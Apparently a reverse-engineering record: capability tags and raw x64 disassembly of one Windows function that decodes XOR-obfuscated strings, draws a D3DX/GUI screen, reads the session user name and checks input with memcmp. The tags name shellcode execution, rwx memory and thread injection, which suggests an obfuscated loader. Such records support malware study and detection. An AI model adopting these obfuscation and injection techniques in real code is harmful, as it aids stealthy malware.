Function at 0x140001fe0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Encode data using xor
Encrypt data using speck
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get session user name
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3d8]
sub rsp, 0x4b0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
mov rax, qword [0x140045040]
xor rax, rsp
mov qword [rbp + 0x340], rax
xor r12d, r12d
mov dword [rbp - 0x60], r12d
mov dword [rbp + 0x80], r12d
mov qword [rbp - 0x80], r12
movups xmm0, xmmword [0x1400398f0]
movups xmmword [rbp - 0x28], xmm0
movsd xmm0, qword [0x140039900]
movsd qword [rbp - 0x18], xmm0
mov eax, dword [0x140039908]
mov dword [rbp - 0x10], eax
movzx eax, byte [0x14003990c]
mov byte [rbp - 0xc], al
mov r8d, r12d
cmp dword [0x140045088], 2
jl 0x1400021be
movdqa xmm5, xmmword [0x14003e500]
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm6, xmmword [0x14003e530]
movdqa xmm0, xmmword [0x14003e570]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x24]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400020b1
cmp r8d, 0x1d
jge 0x140002203
movsxd rax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x1400021d0
lea r8, [rbp + 0x78]
lea rdx, [rbp - 0x28]
mov rcx, qword [0x140045a00]
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileA]
test eax, eax
jne 0x14000224f
mov rcx, qword [rbp + 0x78]
mov rax, qword [rcx]
lea r8, [rbp + 0x100]
xor edx, edx
call qword [rax + 0x88]
mov rax, qword [rbp + 0x78]
mov qword [rbp - 0x80], rax
mov eax, dword [rbp + 0x118]
mov dword [rbp - 0x60], eax
mov eax, dword [rbp + 0x11c]
mov dword [rbp + 0x80], eax
movaps xmm6, xmmword [0x14003e580]
mov rbx, qword [0x140045a18]
mov dword [rbp - 0x58], 5
movups xmm0, xmmword [rbx + 0x1688]
movups xmmword [rbp - 0x54], xmm0
lea rcx, [rbx + 0x1d88]
lea rdx, [rbp - 0x58]
call fcn.14001bea0
mov dword [rbx + 0x1688], 0x42540000
mov dword [rbx + 0x168c], 0x41300000
mov dword [rbx + 0x1690], 0x42840000
mov dword [rbx + 0x1694], 0x3f000000
mov rbx, qword [0x140045a18]
mov dword [rbp - 0x58], 6
movups xmm0, xmmword [rbx + 0x1698]
movups xmmword [rbp - 0x54], xmm0
lea rcx, [rbx + 0x1d88]
lea rdx, [rbp - 0x58]
call fcn.14001bea0
mov dword [rbx + 0x1698], 0x3f800000
mov dword [rbx + 0x169c], 0x3f800000
mov dword [rbx + 0x16a0], 0x3f800000
mov dword [rbx + 0x16a4], 0x3f800000
mov rbx, qword [0x140045a18]
mov dword [rbp - 0x58], 2
movups xmm0, xmmword [rbx + 0x1658]
movups xmmword [rbp - 0x54], xmm0
lea rcx, [rbx + 0x1d88]
lea rdx, [rbp - 0x58]
call fcn.14001bea0
movups xmmword [rbx + 0x1658], xmm6
mov rax, qword [0x140045a18]
mov byte [0x1400450c0], 1
mov qword [rax + 0x1d28], r12
mov qword [rax + 0x1d30], r12
mov dword [rax + 0x1d1c], 1
or dword [rax + 0x1d18], 3
mov dword [rax + 0x1d38], 0x43fa0000
mov dword [rax + 0x1d3c], 0x43960000
mov dword [rax + 0x1d20], 1
mov eax, dword [str.lVWG8]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x140039ae8]
mov byte [rsp + 0x50], 0x58
xor byte [rsp + 0x51], 0x35
xor byte [rsp + 0x52], 0x36
xor byte [rsp + 0x53], 0x37
xor al, 0x38
mov byte [rsp + 0x54], al
mov r8d, 0x126
lea rdx, [0x1400450b4]
lea rcx, [rsp + 0x50]
call fcn.140012080
mov rax, qword [0x140045a18]
mov rcx, qword [rax + 0x1e10]
lea r8, str.Foreground
mov edx, 1
mov rcx, qword [rcx]
call fcn.14000b740
mov r13, rax
mov r14d, 4
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx]
lea rdi, [0x140045ac0]
mov r15d, 0x3c
mov ecx, dword [r14 + rbx]
cmp dword [0x140045ab0], ecx
jle 0x140002439
lea rcx, [0x140045ab0]
call fcn.140036bcc
cmp dword [0x140045ab0], 0xffffffff
jne 0x140002439
mov rax, rdi
mov edx, r15d
mov qword [rax], r12
lea rax, [rax + 8]
sub rdx, 1
jne 0x140002420
lea rcx, [0x140045ab0]
call fcn.140036b60
xorps xmm9, xmm9
mov eax, dword [r14 + rbx]
cmp dword [0x140045ca0], eax
jle 0x140002471
lea rcx, [0x140045ca0]
call fcn.140036bcc
cmp dword [0x140045ca0], 0xffffffff
jne 0x140002471
mov qword [0x140045db0], r12
lea rcx, [0x140045ca0]
call fcn.140036b60
lea rsi, [0x140045dc0]
mov eax, dword [r14 + rbx]
cmp dword [0x140045fa0], eax
jle 0x1400024b9
lea rcx, [0x140045fa0]
call fcn.140036bcc
cmp dword [0x140045fa0], 0xffffffff
jne 0x1400024b9
mov rax, rsi
mov rdx, r15
nop
mov qword [rax], r12
lea rax, [rax + 8]
sub rdx, 1
jne 0x1400024a0
lea rcx, [0x140045fa0]
call fcn.140036b60
cmp byte [0x140045a90], r12b
jne 0x1400025c1
mov rbx, r12
movss xmm10, dword [0x14003e468]
mov rax, qword [0x140045a18]
mov rcx, qword [rax + 0x1c20]
movss xmm7, dword [rcx + 0x14]
movss xmm6, dword [rcx + 0x1c]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movd xmm8, eax
cvtdq2ps xmm8, xmm8
mulss xmm8, xmm6
divss xmm8, xmm10
addss xmm8, xmm7
mov rax, qword [0x140045a18]
mov rcx, qword [rax + 0x1c20]
movss xmm6, dword [rcx + 0x18]
movss xmm7, dword [rcx + 0x10]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm6
divss xmm0, xmm10
addss xmm0, xmm7
movss dword [rbx + rdi], xmm0
movss dword [rbx + rdi + 4], xmm8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xb
sub r8d, ecx
sub r8d, 5
movd xmm6, r8d
cvtdq2ps xmm6, xmm6
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xb
sub r8d, ecx
sub r8d, 5
movd xmm0, r8d
cvtdq2ps xmm0, xmm0
movss dword [rbx + rsi], xmm0
movss dword [rbx + rsi + 4], xmm6
add rbx, 8
cmp rbx, 0x1e0
jl 0x1400024d2
mov byte [0x140045a90], 1
mov r14, qword [0x140045a18]
movsd xmm0, qword [r14 + 0x128]
movsd qword [rsp + 0x50], xmm0
lea rsi, [0x140045ac4]
movss xmm8, dword [rsp + 0x54]
movss xmm10, dword [rsp + 0x50]
movss xmm7, dword [0x14003e400]
movss xmm6, dword [0x14003e388]
movss xmm11, dword [0x14003e3fc]
nop word [rax + rax]
lea ecx, [r12 + 1]
cmp ecx, 0x3c
jge 0x1400026db
lea rbx, [rsi + 4]
movsxd rax, ecx
lea rdi, [rdi + rax*8]
sub r15d, ecx
nop dword [rax]
movss xmm1, dword [rbx + 4]
subss xmm1, dword [rsi]
movss xmm0, dword [rbx]
subss xmm0, dword [rsi - 4]
call sub.api_ms_win_crt_math_l1_1_0.dll__hypotf
divss xmm0, xmm7
movaps xmm1, xmm6
subss xmm1, xmm0
comiss xmm1, xmm9
jbe 0x1400026bc
mov dword [rbp + 0xc0], 0x3f800000
mov dword [rbp + 0xc4], 0x3f800000
mov dword [rbp + 0xc8], 0x3f800000
mulss xmm1, dword [r14 + 0x1570]
movss dword [rbp + 0xcc], xmm1
lea rcx, [rbp + 0xc0]
call fcn.1400097a0
mov r9d, eax
mov eax, r12d
lea rcx, [0x140045ac0]
lea rdx, [rcx + rax*8]
movss dword [rsp + 0x20], xmm6
mov r8, rdi
mov rcx, r13
call fcn.140027b00
mov r14, qword [0x140045a18]
add rdi, 8
add rbx, 8
sub r15, 1
jne 0x140002630
mov r15d, 0x3c
lea rdi, [0x140045ac0]
movaps xmm1, xmm8
subss xmm1, dword [rsi]
movaps xmm0, xmm10
subss xmm0, dword [rsi - 4]
call sub.api_ms_win_crt_math_l1_1_0.dll__hypotf
divss xmm0, xmm11
movaps xmm1, xmm6
subss xmm1, xmm0
comiss xmm1, xmm9
jbe 0x140002753
mov dword [rbp - 0x58], 0x42540000
mov dword [rbp - 0x54], 0x41300000
mov dword [rbp - 0x50], 0x42840000
mulss xmm1, dword [r14 + 0x1570]
movss dword [rbp - 0x4c], xmm1
lea rcx, [rbp - 0x58]
call fcn.1400097a0
mov r9d, eax
mov eax, r12d
lea r8, [rdi + rax*8]
movss dword [rsp + 0x20], xmm6
lea rdx, [rsp + 0x50]
mov rcx, r13
call fcn.140027b00
mov r14, qword [0x140045a18]
inc r12d
add rsi, 8
cmp r12d, 0x3c
jl 0x140002610
movss xmm10, dword [r14 + 0x18]
mov rsi, rdi
xor r12d, r12d
mov ebx, r12d
movss xmm8, dword [0x14003e434]
movss xmm7, dword [0x14003e350]
nop dword [rax]
nop dword [rax + rax]
movaps xmm1, xmm10
lea rax, [0x140045dc0]
mulss xmm1, dword [rbx + rax]
addss xmm1, dword [rbx + rdi]
movss dword [rbx + rdi], xmm1
movaps xmm2, xmm10
mulss xmm2, dword [rbx + rax + 4]
addss xmm2, dword [rbx + rdi + 4]
movss dword [rbx + rdi + 4], xmm2
mov rax, qword [r14 + 0x1c20]
movss xmm3, dword [rax + 0x10]
movss xmm4, dword [rax + 0x14]
movss xmm0, dword [rax + 0x18]
addss xmm0, xmm3
comiss xmm3, xmm1
jbe 0x1400027e6
movss dword [rbx + rdi], xmm0
jmp 0x1400027fc
comiss xmm1, xmm0
jbe 0x1400027fc
movaps xmm0, xmm3
unpcklps xmm0, xmm4
movsd qword [rsp + 0x50], xmm0
movss dword [rbx + rdi], xmm0
mov rax, qword [r14 + 0x1c20]
movss xmm1, dword [rax + 0x14]
movss xmm0, dword [rax + 0x1c]
addss xmm0, xmm1
comiss xmm1, xmm2
jbe 0x14000281e
movss dword [rbx + rdi + 4], xmm0
jmp 0x14000283e
comiss xmm2, xmm0
jbe 0x14000283e
movss xmm0, dword [rax + 0x10]
unpcklps xmm0, xmm1
movaps xmm2, xmm0
shufps xmm2, xmm2, 0x55
movsd qword [rsp + 0x50], xmm0
movss dword [rbx + rdi + 4], xmm2
movss xmm1, dword [0x140045278]
comiss xmm9, xmm1
jbe 0x140002852
movaps xmm0, xmm9
jmp 0x140002859
movaps xmm0, xmm6
minss xmm0, xmm1
mulss xmm0, xmm8
addss xmm0, xmm7
cvttss2si ecx, xmm0
movss xmm1, dword [0x14004527c]
comiss xmm9, xmm1
jbe 0x14000287a
movaps xmm0, xmm9
jmp 0x140002881
movaps xmm0, xmm6
minss xmm0, xmm1
mulss xmm0, xmm8
addss xmm0, xmm7
cvttss2si eax, xmm0
shl eax, 8
or ecx, eax
movss xmm1, dword [0x140045280]
comiss xmm9, xmm1
jbe 0x1400028a7
movaps xmm0, xmm9
jmp 0x1400028ae
movaps xmm0, xmm6
minss xmm0, xmm1
mulss xmm0, xmm8
addss xmm0, xmm7
cvttss2si eax, xmm0
shl eax, 0x10
or ecx, eax
movss xmm1, dword [0x140045284]
comiss xmm9, xmm1
jbe 0x1400028d4
movaps xmm0, xmm9
jmp 0x1400028db
movaps xmm0, xmm6
minss xmm0, xmm1
mulss xmm0, xmm8
addss xmm0, xmm7
cvttss2si edi, xmm0
shl edi, 0x18
or edi, ecx
test edi, 0xff000000
je 0x140002936
mov dword [rsp + 0x20], 0x30
xor r9d, r9d
movaps xmm2, xmm7
mov rdx, rsi
mov rcx, r13
call fcn.140026c50
mov r8d, dword [r13 + 0x78]
dec r8d
mov dword [r13 + 0x78], r8d
mov r9d, edi
mov rdx, qword [r13 + 0x80]
mov rcx, r13
call fcn.1400266a0
mov dword [r13 + 0x78], r12d
mov r14, qword [0x140045a18]
add rsi, 8
add rbx, 8
sub r15, 1
lea rdi, [0x140045ac0]
jne 0x140002790
cmp byte [0x140045aa0], r12b
jne 0x140003c88
movaps xmm6, xmmword [0x14003e5c0]
mov dword [rsp + 0x50], 0xc
movss xmm0, dword [r14 + 0x15b4]
movss dword [rsp + 0x54], xmm0
lea rcx, [r14 + 0x1d98]
lea rdx, [rsp + 0x50]
call fcn.14001bdb0
mov dword [r14 + 0x15b4], 0x40a00000
mov rbx, qword [0x140045a18]
mov dword [rbp - 0x58], 7
movups xmm0, xmmword [rbx + 0x16a8]
movups xmmword [rbp - 0x54], xmm0
lea rcx, [rbx + 0x1d88]
lea rdx, [rbp - 0x58]
call fcn.14001bea0
mov dword [rbx + 0x16a8], 0x3f8ccccd
mov dword [rbx + 0x16ac], 0x3f8ccccd
mov dword [rbx + 0x16b0], 0x3f8ccccd
mov dword [rbx + 0x16b4], 0x3f800000
mov rbx, qword [0x140045a18]
mov dword [rbp - 0x58], 8
movups xmm0, xmmword [rbx + 0x16b8]
movups xmmword [rbp - 0x54], xmm0
lea rcx, [rbx + 0x1d88]
lea rdx, [rbp - 0x58]
call fcn.14001bea0
movups xmmword [rbx + 0x16b8], xmm6
mov rbx, qword [0x140045a18]
mov dword [rbp - 0x58], 9
movups xmm0, xmmword [rbx + 0x16c8]
movups xmmword [rbp - 0x54], xmm0
lea rcx, [rbx + 0x1d88]
lea rdx, [rbp - 0x58]
call fcn.14001bea0
movups xmmword [rbx + 0x16c8], xmm6
mov rbx, qword [0x140045a18]
mov dword [rbp - 0x58], 0x2f
movups xmm0, xmmword [rbx + 0x1928]
movups xmmword [rbp - 0x54], xmm0
lea rcx, [rbx + 0x1d88]
lea rdx, [rbp - 0x58]
call fcn.14001bea0
movups xmmword [rbx + 0x1928], xmm6
movd xmm4, dword [rbp - 0x60]
cvtdq2ps xmm4, xmm4
mov rcx, qword [0x140045a18]
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
movaps xmm0, xmm4
mulss xmm0, xmm7
movss xmm3, dword [0x14003e43c]
subss xmm3, xmm0
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x5c]
addss xmm3, xmm0
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x60]
addss xmm2, xmm9
movss dword [rax + 0xd8], xmm3
movss dword [rax + 0xdc], xmm2
movss xmm1, dword [rax + 0xf0]
maxss xmm1, xmm3
movss xmm0, dword [rax + 0xf4]
maxss xmm0, xmm2
movss dword [rax + 0xf0], xmm1
movss dword [rax + 0xf4], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
movaps xmm1, xmmword [0x14003e5b0]
movups xmmword [rbp + 0xc0], xmm1
mov dword [rsp + 0x50], 0x3f800000
mov dword [rsp + 0x54], 0x3f800000
mov qword [rbp + 0x88], r12
movss xmm8, dword [0x14003e360]
mulss xmm4, xmm8
movss dword [rbp + 0xb8], xmm4
movd xmm6, dword [rbp + 0x80]
cvtdq2ps xmm6, xmm6
mulss xmm6, xmm8
movss dword [rbp + 0xbc], xmm6
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0xb8]
mov rcx, qword [rbp - 0x80]
call fcn.140031da0
mov rcx, qword [0x140045a18]
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x5c]
movss xmm7, dword [0x14003e424]
addss xmm0, xmm7
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x60]
addss xmm6, dword [0x14003e3f0]
addss xmm6, dword [0x14003e3e4]
addss xmm2, xmm6
movss dword [rax + 0xd8], xmm0
movss dword [rax + 0xdc], xmm2
movss xmm1, dword [rax + 0xf0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xf4]
maxss xmm0, xmm2
movss dword [rax + 0xf0], xmm1
movss dword [rax + 0xf4], xmm0
mov eax, dword [0x1400399d0]
mov dword [rbp + 0x80], eax
movzx eax, byte [0x1400399d4]
mov byte [rbp + 0x80], 0x78
xor byte [rbp + 0x81], 0x35
xor byte [rbp + 0x82], 0x36
xor byte [rbp + 0x83], 0x37
xor al, 0x38
mov byte [rbp + 0x84], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r12
lea rax, [rbp + 0x80]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x140002c76
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x90]
call fcn.140006970
mov rbx, qword [0x140045a18]
mov dword [rbp - 0x58], 7
movups xmm0, xmmword [rbx + 0x16a8]
movups xmmword [rbp - 0x54], xmm0
lea rcx, [rbx + 0x1d88]
lea rdx, [rbp - 0x58]
call fcn.14001bea0
mov dword [rbx + 0x16a8], 0x42540000
mov dword [rbx + 0x16ac], 0x41300000
mov dword [rbx + 0x16b0], 0x42840000
mov dword [rbx + 0x16b4], 0x3dcccccd
mov rcx, qword [0x140045a18]
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x5c]
addss xmm0, xmm7
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x60]
addss xmm2, xmm7
movss dword [rax + 0xd8], xmm0
movss dword [rax + 0xdc], xmm2
movss xmm1, dword [rax + 0xf0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xf4]
maxss xmm0, xmm2
movss dword [rax + 0xf0], xmm1
movss dword [rax + 0xf4], xmm0
or dword [rcx + 0x1cc4], 1
mov dword [rcx + 0x1cc8], 0x42c80000
mov dword [rbp + 0x78], 0x43340000
mov dword [rbp + 0x7c], 0x41c80000
movups xmm0, xmmword [0x140039a08]
movups xmmword [rbp - 0x58], xmm0
movzx eax, word [0x140039a18]
mov word [rbp - 0x48], ax
movzx eax, byte [0x140039a1a]
mov byte [rbp - 0x46], al
mov r8d, r12d
mov r15d, dword [0x140045088]
cmp r15d, 2
jl 0x140002eed
movdqa xmm5, xmmword [0x14003e500]
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm6, xmmword [0x14003e530]
movdqa xmm0, xmmword [0x14003e570]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x54]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140002de0
cmp r8d, 0x13
jge 0x140002f33
movsxd rax, r8d
lea r9, [rbp - 0x58]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140002f00
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000
lea rax, [rbp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0x1e
lea rbx, [0x140045cb0]
mov r8, rbx
lea rdx, [rbp - 0x58]
lea rcx, [0x14003989c]
call fcn.140033fe0
mov rcx, qword [0x140045a18]
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0x90], 1
mov rax, qword [rcx + 0x1c20]
movss xmm0, dword [rax + 0x10]
subss xmm0, dword [rax + 0x5c]
addss xmm0, dword [0x14003e42c]
movss xmm2, dword [rax + 0x14]
subss xmm2, dword [rax + 0x60]
addss xmm2, dword [0x14003e430]
movss dword [rax + 0xd8], xmm0
movss dword [rax + 0xdc], xmm2
movss xmm1, dword [rax + 0xf0]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0xf4]
maxss xmm0, xmm2
movss dword [rax + 0xf0], xmm1
movss dword [rax + 0xf4], xmm0
mov qword [rbp + 0x78], r12
mov eax, dword [0x140039a1c]
mov dword [rsp + 0x50], eax
movzx ecx, word [0x140039a20]
mov word [rsp + 0x54], cx
movzx eax, byte [0x140039a22]
mov byte [rsp + 0x50], 0x4c
xor byte [rsp + 0x51], 0x35
xor byte [rsp + 0x52], 0x36
xor byte [rsp + 0x53], 0x37
xor cl, 0x38
mov byte [rsp + 0x54], cl
xor byte [rsp + 0x55], 0x39
xor al, 0x3a
mov byte [rsp + 0x56], al
lea rdx, [rbp + 0x78]
lea rcx, [rsp + 0x50]
call fcn.140030c20
mov r14, qword [rbp + 0xa8]
mov rsi, qword [rbp + 0x90]
test al, al
je 0x1400035fa
mov rax, rdi
inc rax
cmp byte [rbx + rax], r12b
jne 0x140003054
lea rcx, [rbp + 0x90]
cmp r14, 0xf
cmova rcx, rsi
mov r8, qword [rbp + 0xa0]
cmp r8, rax
jne 0x140003897
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140003897
mov byte [0x140045aa0], 1
mov dword [rbp + 0xb0], 0x100
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x140]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov eax, dword [0x140039938]
mov dword [rbp - 0x60], eax
cmp byte [0x14003993b], r12b
je 0x140003193
cmp r15d, 2
jl 0x140003152
movdqa xmm3, xmmword [0x14003e500]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14003e600]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14003e600]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14003e530]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14003e570]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x60], xmm2
jmp 0x140003193
lea r9, [rbp - 0x60]
mov r8d, r12d
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140003160
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r12
lea rax, [rbp + 0x140]
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x1400031b5
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x90]
call fcn.140006970
movups xmm0, xmmword [0x140039a78]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x140039a88]
movsd qword [rbp - 0x48], xmm0
movzx eax, word [0x140039a90]
mov word [rbp - 0x40], ax
movzx eax, byte [0x140039a92]
mov byte [rbp - 0x3e], al
mov r8d, r12d
cmp r15d, 2
jl 0x14000334d
movdqa xmm5, xmmword [0x14003e500]
movdqa xmm4, xmmword [0x14003e600]
movdqa xmm6, xmmword [0x14003e530]
movdqa xmm0, xmmword [0x14003e570]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x54]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14003e550]
